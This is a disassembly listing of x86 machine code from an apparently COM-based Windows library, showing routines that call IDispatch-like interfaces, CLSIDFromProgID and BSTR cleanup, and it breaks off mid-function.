arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx+0Ch]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	0
		push	offset off_69B70844
		mov	[esi], eax
		call	sub_69B2EECD
		test	al, al
		mov	eax, [esp+4+arg_8]
		jz	short loc_69B7083D
		add	dword ptr [esi], 8
		mov	byte ptr [eax],	1
		jmp	short loc_69B70840
; ---------------------------------------------------------------------------


loc_69B7083D:				; CODE XREF: sub_69B70813+20j
		mov	byte ptr [eax],	0


loc_69B70840:				; CODE XREF: sub_69B70813+28j
		pop	esi
		retn	0Ch
sub_69B70813	endp

; ---------------------------------------------------------------------------
off_69B70844	dd offset off_69B17D10	; DATA XREF: sub_69B70813+Eo
		dd 0
		dd 4
		dd offset aGet_0	; "get-"
aGet_0:					; DATA XREF: .text:69B70850o
		unicode	0, <get->,0
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70860	proc near		; CODE XREF: sub_69B70D5C+11p

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_69B6F543
		mov	ecx, [eax]
		xor	esi, esi
		push	esi
		push	esi
		push	4
		lea	edx, [ebp+var_4]
		push	edx
		push	4
		lea	edx, [ebp+arg_0]
		push	edx
		push	1400h
		push	eax
		call	dword ptr [ecx+10h]
		push	eax
		call	sub_69B8862C
		cmp	[ebp+arg_0], esi
		jz	short loc_69B708A0
		push	esi
		push	esi
		push	esi
		push	0C00CE33Ch
		call	sub_69B6E277


loc_69B708A0:				; CODE XREF: sub_69B70860+31j
		pop	esi
		leave
		retn	4
sub_69B70860	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B708A5	proc near		; DATA XREF: .text:69B15D7Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, [esp+8+arg_0]
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		retn	8
sub_69B708A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B708B8	proc near		; CODE XREF: sub_69B70A67+38p
					; sub_69B71074+138p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		and	dword ptr [edi], 0
		and	dword ptr [esi], 0
		cmp	[ebp+arg_0], 0
		mov	ebx, ecx
		jz	short loc_69B7091B
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_69B708E7
		push	[ebp+arg_0]
		call	sub_69B1980A
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B708FA


loc_69B708E7:				; CODE XREF: sub_69B708B8+1Fj
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	short loc_69B708FA
		push	[ebp+arg_0]
		mov	ecx, ebx
		call	sub_69B1980A
		mov	[edi], eax


loc_69B708FA:				; CODE XREF: sub_69B708B8+2Dj
					; sub_69B708B8+34j
		mov	esi, [esi]
		test	esi, esi
		jz	short loc_69B7091B
		push	[ebp+arg_10]
		mov	eax, [esi]
		push	409h
		push	1
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	offset dword_69B2AFB0
		push	esi
		call	dword ptr [eax+14h]
		jmp	short loc_69B7093A
; ---------------------------------------------------------------------------


loc_69B7091B:				; CODE XREF: sub_69B708B8+18j
					; sub_69B708B8+46j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B70941
		push	[ebp+arg_10]
		mov	ecx, [eax]
		push	409h
		push	1
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_69B2AFB0
		push	eax
		call	dword ptr [ecx+14h]


loc_69B7093A:				; CODE XREF: sub_69B708B8+61j
		cmp	eax, 80020006h
		jnz	short loc_69B70949


loc_69B70941:				; CODE XREF: sub_69B708B8+67j
		mov	eax, [ebp+arg_10]
		or	dword ptr [eax], 0FFFFFFFFh
		jmp	short loc_69B7094F
; ---------------------------------------------------------------------------


loc_69B70949:				; CODE XREF: sub_69B708B8+87j
		push	eax
		call	sub_69B8861E


loc_69B7094F:				; CODE XREF: sub_69B708B8+8Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	14h
sub_69B708B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70956	proc near		; CODE XREF: sub_69B15D80+5p
		push	esi
		mov	esi, ecx
		push	offset dword_69B70970
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B70956	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B70970	dd 0DB01A1E3h, 11CFA42Bh, 8000208Fh, 64D02C5Fh; ---------------------------------------------------------------------------


loc_69B70980:				; DATA XREF: .text:off_69B15FE0o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B739EC
; ---------------------------------------------------------------------------


loc_69B7098A:				; DATA XREF: .text:off_69B15FC4o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B739EC
; ---------------------------------------------------------------------------


loc_69B70994:				; DATA XREF: .text:off_69B15FACo
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B739EC

; =============== S U B	R O U T	I N E =======================================



sub_69B7099E	proc near		; DATA XREF: .text:69B15FE4o
					; .text:69B29148o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	sub_69B18E45
sub_69B7099E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B709A8	proc near		; DATA XREF: .text:69B15FE8o
					; .text:69B2914Co ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	sub_69B19029
sub_69B709A8	endp

; ---------------------------------------------------------------------------


loc_69B709B2:				; DATA XREF: .text:69B15FC8o
					; .text:69B16B88o ...
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B18E45
; ---------------------------------------------------------------------------


loc_69B709BC:				; DATA XREF: .text:69B15FCCo
					; .text:69B16B8Co ...
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B19029
; ---------------------------------------------------------------------------


loc_69B709C6:				; DATA XREF: .text:69B15FB0o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B18E45
; ---------------------------------------------------------------------------


loc_69B709D0:				; DATA XREF: .text:69B15FB4o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B19029

; =============== S U B	R O U T	I N E =======================================



sub_69B709DA	proc near		; CODE XREF: sub_69B6F68E+3Bp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B709DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70A09	proc near		; CODE XREF: sub_69B6F87C+60p
		push	ebx
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B70A3C
		push	esi
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B70A29
; ---------------------------------------------------------------------------


loc_69B70A22:				; CODE XREF: sub_69B70A09+29j
		mov	ecx, eax
		call	sub_69B74299


loc_69B70A29:				; CODE XREF: sub_69B70A09+17j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		cmp	eax, ebx
		jnz	short loc_69B70A22
		push	ebx
		push	edi
		call	sub_69B17320
		pop	esi


loc_69B70A3C:				; CODE XREF: sub_69B70A09+Aj
		push	ebx
		lea	eax, [edi+4]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [edi+8]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [edi+10h]
		push	eax
		call	sub_69B17320
		push	ebx
		add	edi, 0Ch
		push	edi
		call	sub_69B17320
		pop	edi
		pop	ebx
		retn
sub_69B70A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70A67	proc near		; CODE XREF: sub_69B6E2F1+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, ecx
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		lea	ecx, [ebp+arg_4+3]
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	ecx, edi
		call	sub_69B70813
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+var_4]
		mov	ecx, edi
		push	dword ptr [esi+10h]
		call	sub_69B708B8
		cmp	[ebp+arg_4], 0
		pop	edi
		pop	esi
		jnz	short loc_69B70AB2
		cmp	[ebp+var_4], 0
		jz	short loc_69B70ABC


loc_69B70AB2:				; CODE XREF: sub_69B70A67+43j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_69B70ABC
		mov	al, 1
		jmp	short locret_69B70ABE
; ---------------------------------------------------------------------------


loc_69B70ABC:				; CODE XREF: sub_69B70A67+49j
					; sub_69B70A67+4Fj
		xor	al, al

locret_69B70ABE:			; CODE XREF: sub_69B70A67+53j
		leave
		retn	8
sub_69B70A67	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70AC2	proc near		; CODE XREF: sub_69B70CB0+18p
					; sub_69B70CE9+2Cp
		push	20h
		push	offset dword_69B70B80
		call	sub_69B19C5C
		mov	esi, ecx
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		mov	edi, [ebp+8]
		mov	eax, [edi]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	offset dword_69B2B050
		push	edi
		call	dword ptr [eax]
		mov	[ebp-20h], eax
		test	eax, eax
		jl	short loc_69B70B18
		add	esi, 8
		mov	eax, [esi]
		mov	[ebp-24h], eax
		test	eax, eax
		jnz	short loc_69B70B0E
		push	eax
		push	1
		push	8
		call	sub_69B315DA
		push	eax
		mov	ecx, esi
		call	sub_69B199CC


loc_69B70B0E:				; CODE XREF: sub_69B70AC2+38j
		mov	ecx, [esi]
		mov	[ebp-28h], ecx
		push	dword ptr [ebp-1Ch]
		jmp	short loc_69B70B3C
; ---------------------------------------------------------------------------


loc_69B70B18:				; CODE XREF: sub_69B70AC2+2Cj
		add	esi, 4
		mov	eax, [esi]
		mov	[ebp-2Ch], eax
		test	eax, eax
		jnz	short loc_69B70B36
		push	eax
		push	1
		push	8
		call	sub_69B315DA
		push	eax
		mov	ecx, esi
		call	sub_69B199CC


loc_69B70B36:				; CODE XREF: sub_69B70AC2+60j
		mov	ecx, [esi]
		mov	[ebp-30h], ecx
		push	edi


loc_69B70B3C:				; CODE XREF: sub_69B70AC2+54j
		push	dword ptr [ebp+0Ch]
		call	sub_69B3182D
		jmp	short loc_69B70B59
; ---------------------------------------------------------------------------


loc_69B70B46:				; DATA XREF: .text:69B70B84o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B70B4F:				; DATA XREF: .text:69B70B88o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ebx, eax


loc_69B70B59:				; CODE XREF: sub_69B70AC2+82j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		test	eax, eax
		jz	short loc_69B70B6A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B70B6A:				; CODE XREF: sub_69B70AC2+A0j
		test	ebx, ebx
		jz	short loc_69B70B75
		mov	ecx, ebx
		call	sub_69B2E875


loc_69B70B75:				; CODE XREF: sub_69B70AC2+AAj
		call	sub_69B1853C
		retn	8
sub_69B70AC2	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B70B80	dd 0FFFFFFFFh			dd offset loc_69B70B46
		dd offset loc_69B70B4F

; =============== S U B	R O U T	I N E =======================================



sub_69B70B8C	proc near		; CODE XREF: sub_69B6ED05+BDp
					; sub_69B6EDDE+125p
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B70BB5
		push	esi
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B70BA9
; ---------------------------------------------------------------------------


loc_69B70BA2:				; CODE XREF: sub_69B70B8C+26j
		mov	ecx, eax
		call	sub_69B740AD


loc_69B70BA9:				; CODE XREF: sub_69B70B8C+14j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	eax, eax
		jnz	short loc_69B70BA2
		pop	esi


loc_69B70BB5:				; CODE XREF: sub_69B70B8C+7j
		mov	ecx, [edi+4]
		test	ecx, ecx
		jz	short loc_69B70BC1
		call	sub_69B1C27E


loc_69B70BC1:				; CODE XREF: sub_69B70B8C+2Ej
		push	0
		add	edi, 10h
		push	edi
		call	sub_69B17320
		pop	edi
		retn
sub_69B70B8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70BCE	proc near		; CODE XREF: sub_69B70C02+1Ap
					; sub_69B73929+65p
		push	esi
		lea	esi, [ecx+0Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B70BFC
		push	1Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B70BEB
		mov	ecx, eax
		call	sub_69B74E46
		jmp	short loc_69B70BED
; ---------------------------------------------------------------------------


loc_69B70BEB:				; CODE XREF: sub_69B70BCE+12j
		xor	eax, eax


loc_69B70BED:				; CODE XREF: sub_69B70BCE+1Bj
		push	eax
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B70BFC:				; CODE XREF: sub_69B70BCE+7j
		mov	eax, [esi]
		pop	esi
		retn	4
sub_69B70BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70C02	proc near		; CODE XREF: sub_69B70D5C+1Bp
					; sub_69B7401B+19p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+0A8h], 2
		push	esi
		mov	esi, ecx
		jnz	short loc_69B70C47
		mov	ecx, [eax+28h]
		push	edi
		mov	edi, [ecx+18h]
		push	eax
		mov	ecx, esi
		call	sub_69B70BCE
		mov	eax, [esi+0Ch]
		push	0
		add	eax, 18h
		push	eax
		call	sub_69B17320
		mov	esi, [esi+0Ch]
		mov	eax, [edi]
		add	esi, 18h
		push	esi
		push	offset dword_69B25E54
		push	edi
		call	dword ptr [eax]
		push	eax
		call	sub_69B8861E
		pop	edi


loc_69B70C47:				; CODE XREF: sub_69B70C02+Ej
		pop	esi
		retn	4
sub_69B70C02	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70C4B	proc near		; CODE XREF: sub_69B16198+28p
					; sub_69B70DD2+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	2Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B70C63
		push	[esp+arg_0]
		mov	ecx, eax
		call	sub_69B15D80
		jmp	short loc_69B70C65
; ---------------------------------------------------------------------------


loc_69B70C63:				; CODE XREF: sub_69B70C4B+9j
		xor	eax, eax


loc_69B70C65:				; CODE XREF: sub_69B70C4B+16j
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		retn	8
sub_69B70C4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70C6E	proc near		; DATA XREF: .text:off_69B15FF0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B70C8D
		test	[esp+4+arg_0], 1
		jz	short loc_69B70C86
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B70C86:				; CODE XREF: sub_69B70C6E+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B70C6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70C8D	proc near		; CODE XREF: sub_69B70C6E+3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+20h]
		call	sub_69B73853
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		add	esi, 18h
		push	esi
		call	sub_69B2DEDD
		pop	esi
		jmp	sub_69B2C65C
sub_69B70C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70CB0	proc near		; CODE XREF: sub_69B6FABE+DCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ebx, ecx
		xor	edi, edi
		jmp	short loc_69B70CCE
; ---------------------------------------------------------------------------


loc_69B70CC0:				; CODE XREF: sub_69B70CB0+30j
		push	[ebp+arg_0]
		mov	ecx, ebx
		push	[ebp+var_4]
		call	sub_69B70AC2
		inc	edi


loc_69B70CCE:				; CODE XREF: sub_69B70CB0+Ej
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		push	edi
		call	dword ptr [eax+4]
		test	al, al
		jnz	short loc_69B70CC0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B70CB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70CE9	proc near		; CODE XREF: sub_69B70D5C+5Dp
					; sub_69B70DF4+9Ep
		push	0Ch
		push	offset dword_69B70D50
		call	sub_69B19C5C
		mov	esi, ecx
		mov	eax, [ebp+8]
		mov	eax, [eax+8]
		mov	ecx, [eax]
		lea	edx, [ebp-1Ch]
		push	edx
		push	0
		push	eax
		call	dword ptr [ecx+28h]
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-1Ch]
		mov	ecx, esi
		call	sub_69B70AC2
		jmp	short loc_69B70D36
; ---------------------------------------------------------------------------


loc_69B70D1C:				; DATA XREF: .text:69B70D54o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B70D25:				; DATA XREF: .text:69B70D58o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B2E860


loc_69B70D36:				; CODE XREF: sub_69B70CE9+31j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B1853C
		retn	8
sub_69B70CE9	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B70D50	dd 0FFFFFFFFh			dd offset loc_69B70D1C
		dd offset loc_69B70D25

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70D5C	proc near		; CODE XREF: sub_69B6FABE+BDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jz	short loc_69B70DCD
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_69B70860
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B70C02
		mov	eax, [esi]
		push	0
		push	eax
		call	sub_69B3156E
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		push	1
		push	eax
		call	sub_69B3156E
		mov	edi, eax
		jmp	short loc_69B70DBE
; ---------------------------------------------------------------------------


loc_69B70D97:				; CODE XREF: sub_69B70D5C+6Dj
		push	[ebp+arg_0]
		mov	ecx, ebx
		call	sub_69B74222
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0A8h], 2
		jz	short loc_69B70DBE
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B70CE9


loc_69B70DBE:				; CODE XREF: sub_69B70D5C+39j
					; sub_69B70D5C+4Fj
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B70D97
		pop	edi
		pop	ebx


loc_69B70DCD:				; CODE XREF: sub_69B70D5C+Aj
		pop	esi
		leave
		retn	4
sub_69B70D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70DD2	proc near		; CODE XREF: sub_69B70EC9+37p

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+10h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B70DE5
		push	esi
		push	[esp+8+arg_0]
		call	sub_69B70C4B


loc_69B70DE5:				; CODE XREF: sub_69B70DD2+7j
		mov	eax, [esi]
		lea	ecx, [eax+10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		pop	esi
		retn	4
sub_69B70DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B70DF4	proc near		; CODE XREF: sub_69B75204+Fp
					; sub_69B7521B+2Bp ...

clsid		= CLSID	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edi
		jnz	short loc_69B70E27
		push	0
		push	1
		push	6
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B70E27:				; CODE XREF: sub_69B70DF4+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jnz	short loc_69B70E33
		mov	eax, offset off_69B2A46C


loc_69B70E33:				; CODE XREF: sub_69B70DF4+38j
		mov	eax, [eax+0Ch]
		lea	ecx, [ebp+clsid]
		push	ecx		; lpclsid
		push	eax		; lpszProgID
		call	ds:CLSIDFromProgID
		push	eax
		call	sub_69B8861E
		test	edi, edi
		jnz	short loc_69B70E59
		push	8
		lea	eax, [ebp+clsid]
		push	eax
		call	sub_69B190C1
		mov	[ebp+var_8], eax


loc_69B70E59:				; CODE XREF: sub_69B70DF4+55j
		push	[ebp+var_8]
		mov	ecx, [esi]
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B70E97
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+clsid]
		push	eax
		push	edi
		call	sub_69B7432D
		mov	ecx, [esi]
		mov	ebx, eax
		push	ebx
		push	[ebp+var_8]
		call	sub_69B3182D
		cmp	dword ptr [edi+0A8h], 2
		jz	short loc_69B70E97
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		call	sub_69B70CE9


loc_69B70E97:				; CODE XREF: sub_69B70DF4+73j
					; sub_69B70DF4+96j
		push	4
		pop	ecx
		lea	edi, [ebp+clsid]
		lea	esi, [ebx+1Ch]
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B70EB5
		push	eax
		push	eax
		push	[ebp+arg_8]
		push	0C00CE317h
		call	sub_69B6E277


loc_69B70EB5:				; CODE XREF: sub_69B70DF4+B0j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B70DF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B70EC9	proc near		; CODE XREF: sub_69B71074+19Ap
		push	3Ch
		push	offset dword_69B71068
		call	sub_69B19C5C
		mov	esi, ecx
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-3Ch]
		rep stosd
		mov	[ebp-4], ebx
		push	ebx
		call	sub_69B2E818
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jz	short loc_69B70F2B
		mov	eax, [edi]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		mov	[ebp-40h], eax
		call	sub_69B70DD2
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		xor	eax, eax
		cmp	[ebp+1Ch], bl
		setnz	al
		inc	eax
		push	eax
		push	409h
		push	dword ptr [ebp+18h]
		push	edi
		mov	eax, [ebp-40h]
		call	dword ptr [eax+20h]
		jmp	short loc_69B70F59
; ---------------------------------------------------------------------------


loc_69B70F2B:				; CODE XREF: sub_69B70EC9+2Bj
		mov	eax, [ebp+10h]
		mov	ecx, [eax]
		lea	edx, [ebp-48h]
		push	edx
		lea	edx, [ebp-3Ch]
		push	edx
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		xor	edx, edx
		cmp	[ebp+1Ch], bl
		setnz	dl
		inc	edx
		push	edx
		push	409h
		push	offset dword_69B2AFB0
		push	dword ptr [ebp+18h]
		push	eax
		call	dword ptr [ecx+18h]


loc_69B70F59:				; CODE XREF: sub_69B70EC9+60j
		mov	edi, eax
		mov	[ebp-44h], edi
		cmp	edi, ebx
		jge	loc_69B7101F
		cmp	edi, 80020101h
		jnz	short loc_69B70F75
		call	sub_69B2E808
		jmp	short loc_69B70FEF
; ---------------------------------------------------------------------------


loc_69B70F75:				; CODE XREF: sub_69B70EC9+A3j
		cmp	edi, 80020009h
		jnz	short loc_69B70FAF
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_69B6FE64
		push	ebx
		push	dword ptr [ebp+14h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		push	0C00CE321h
		call	sub_69B2F944
		add	esp, 10h
		mov	[ebp-4Ch], eax
		push	eax
		push	80004005h
		call	sub_69B1D342
		jmp	short loc_69B70FEF
; ---------------------------------------------------------------------------


loc_69B70FAF:				; CODE XREF: sub_69B70EC9+B2j
		cmp	edi, 80020005h
		jz	short loc_69B70FBF
		cmp	edi, 80020004h
		jnz	short loc_69B70FF2


loc_69B70FBF:				; CODE XREF: sub_69B70EC9+ECj
		push	ebx
		push	edi
		call	sub_69B1D342
		mov	esi, eax
		push	ebx
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp-48h]
		call	sub_69B2F0F7
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		push	0C00CE322h
		push	80004005h
		call	sub_69B2E8CC
		add	esp, 18h


loc_69B70FEF:				; CODE XREF: sub_69B70EC9+AAj
					; sub_69B70EC9+E4j
		mov	[ebp-1Ch], eax


loc_69B70FF2:				; CODE XREF: sub_69B70EC9+F4j
		cmp	[ebp-1Ch], ebx
		jnz	short loc_69B7101F
		push	ebx
		push	edi
		call	sub_69B1D342
		push	ebx
		push	dword ptr [ebp+14h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+38h]
		push	eax
		push	0C00CE321h
		push	80004005h
		call	sub_69B2E8CC
		add	esp, 14h
		mov	[ebp-1Ch], eax


loc_69B7101F:				; CODE XREF: sub_69B70EC9+97j
					; sub_69B70EC9+12Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7103F
; ---------------------------------------------------------------------------


loc_69B71025:				; DATA XREF: .text:69B7106Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7102E:				; DATA XREF: .text:69B71070o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	[ebp-1Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B7103F:				; CODE XREF: sub_69B70EC9+15Aj
		push	dword ptr [ebp-34h] ; BSTR
		mov	esi, SysFreeString
		call	esi ; SysFreeString
		push	dword ptr [ebp-38h] ; BSTR
		call	esi ; SysFreeString
		push	dword ptr [ebp-30h] ; BSTR
		call	esi ; SysFreeString
		mov	ecx, [ebp-1Ch]
		cmp	ecx, ebx
		jz	short loc_69B71060
		call	sub_69B2E875


loc_69B71060:				; CODE XREF: sub_69B70EC9+190j
		call	sub_69B1853C
		retn	20h
sub_69B70EC9	endp

; ---------------------------------------------------------------------------
dword_69B71068	dd 0FFFFFFFFh			dd offset loc_69B71025
		dd offset loc_69B7102E

; =============== S U B	R O U T	I N E =======================================



sub_69B71074	proc near		; CODE XREF: sub_69B6E2D2+17p
		push	0ECh
		push	offset dword_69B71298
		call	sub_69B19C5C
		mov	[ebp-1Ch], ecx
		xor	ebx, ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-28h], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-30h], bl
		mov	[ebp-34h], ebx
		mov	[ebp-38h], ebx
		mov	[ebp-3Ch], ebx
		lea	eax, [ebp-4Ch]
		push	eax		; pvarg
		call	VariantInit
		mov	[ebp-4], ebx
		mov	esi, [ebp+14h]
		mov	[ebp-24h], esi
		cmp	esi, ebx
		jz	loc_69B7115D
		cmp	esi, 8
		jg	short loc_69B710E3
		mov	ecx, esi
		shl	ecx, 4
		xor	eax, eax
		lea	edi, [ebp-0CCh]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		lea	eax, [ebp-0CCh]
